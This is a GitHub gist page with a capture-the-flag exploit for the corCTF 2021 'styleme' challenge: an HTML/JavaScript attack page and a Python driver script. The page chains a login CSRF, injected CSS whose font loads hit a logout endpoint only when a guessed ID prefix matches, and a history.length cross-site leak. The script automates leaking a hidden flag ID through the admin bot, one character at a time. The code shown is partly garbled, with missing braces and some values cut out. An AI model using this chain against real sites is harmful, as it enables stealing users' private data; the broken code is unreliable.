Skip to content

Instantly share code, notes, and snippets.

Created Aug 22, 2021
What would you like to do?
corCTF'21 styleme solution
<!DOCTYPE html>
<html lang="en">
<title>corCTF styleme solution</title>
<form id="form" method="POST" action="http://chall/api/login">
<input id="user" type="text" name="user" value="testu123" />
<input id="pass" type="text" name="pass" value="testp123" />
let sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
const DELAY = 600;
// XS-leak using history.length to check if a window is at a specified URL
async function isLocation(w, url) {
w.location = "about:blank";
await sleep(DELAY);
let start = w.history.length;
await sleep(DELAY);
w.location = url;
await sleep(DELAY);
w.location = "about:blank";
await sleep(DELAY);
let diff = w.history.length - start;
w.history.go(-1 - diff);
console.log("diff: ", diff);
return diff === 0;
// main fn
async function main() {
let guess = location.hash.substring(1);
if (guess === "login") {
// if hash is #login
// CSRF to login to an account
// ID of our 2nd sheet to install
const pid = guess.split(",")[0];
// the admin bot starts with no session.
// so we initialize a session cookie
w ="http://chall/styles/i/z");
await sleep(DELAY);
// csrf to login to an account
w ="");
await sleep(DELAY * 2);
// install the sheet with ID ${pid}. it applies to http://chall and has CSS of the form:
@font-face {
font-family: "Pwn";
src: url("http://chall/api/logout");
a[href^="/styles/i/{guess}"] {
font-family: "Pwn";
// because CSS loads assets only if needed,
// this will only hit the /api/logout endpoint
// if the attribute selector succeeds.
// It will log us out if there is a note button starting with {guess} prefix
w =`${pid}`);
await sleep(DELAY * 2);
// load search that has flag note in results. if matches guess prefix, we get logged out
w ="http://chall/styles/search?query=super");
await sleep(DELAY * 2);
// now use a location or history length xs-leak vector to check if we were logged out or not.
w ="http://chall/styles/mine");
await sleep(DELAY);
if (await isLocation(w, "http://chall/styles/mine")) {
guess + ", loggedin"
} else {
guess + ", loggedout"
# each time we run this script, 1 char of the flag stylescript ID is exfiltrated and sent to our webhook
from pwn import *
import requests
import os
import sys
URL = ""
# URL = "http://localhost"
def register(s, user, pwd):
r ="{URL}/api/register", data={"user": user, "pass": pwd})
assert b"Registered as " in r.content
def create(s, title, css, url, hidden="on"):
data = {
"title": title,
"css": css,
"url": url,
"hidden": hidden
data = {k: v for k, v in data.items() if v is not None}
r ="{URL}/api/create", data=data)
charset = "0123456789abcdef"
gen_style = lambda guess: """
@font-face {
font-family: "Pwn";
src: url("http://chall/api/logout");
a[href^="/styles/i/{guess}"] {
font-family: "Pwn";
""".replace("{guess}", guess)
FLAG_ID = "1393b3ffe362"
def submit(s, url):
r ="{URL}/api/submit", data={"url": url})
def search(s, q):
r = s.get(f"{URL}/styles/search", params={"query": q})
def list_styles(s):
r = s.get(f"{URL}/styles/mine")
return r.text
def get_style_id(s, title):
styles = list_styles(s)
payload_id = styles.split(f"<h4>{title}")[1]
payload_id = payload_id.split('" class="btn btn-primary btn-sm">Install')[0]
payload_id = payload_id.split('/i/')[-1]
return payload_id
for c in charset:
BUST = os.urandom(3).hex()
s = requests.Session()
user = os.urandom(8).hex()
pwd = os.urandom(8).hex()
print(user, pwd)
register(s, user, pwd)
payload_title = f"{user} {FLAG_ID_GUESS}"
print("### CREATE")
create(s, "pwn"+payload_title, gen_style(FLAG_ID_GUESS), f"http://chall/")
pwn_payload_id = get_style_id(s, "pwn"+payload_title)
print("PWN ID", pwn_payload_id)
create(s, "jmp"+payload_title, "/* noop */", f"{BUST}#"+pwn_payload_id+","+payload_title)
payload_id = get_style_id(s, "jmp"+payload_title)
print("JMP ID", payload_id)
payload_url = f"{URL}/styles/i/{payload_id}"
submit(s, payload_url)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment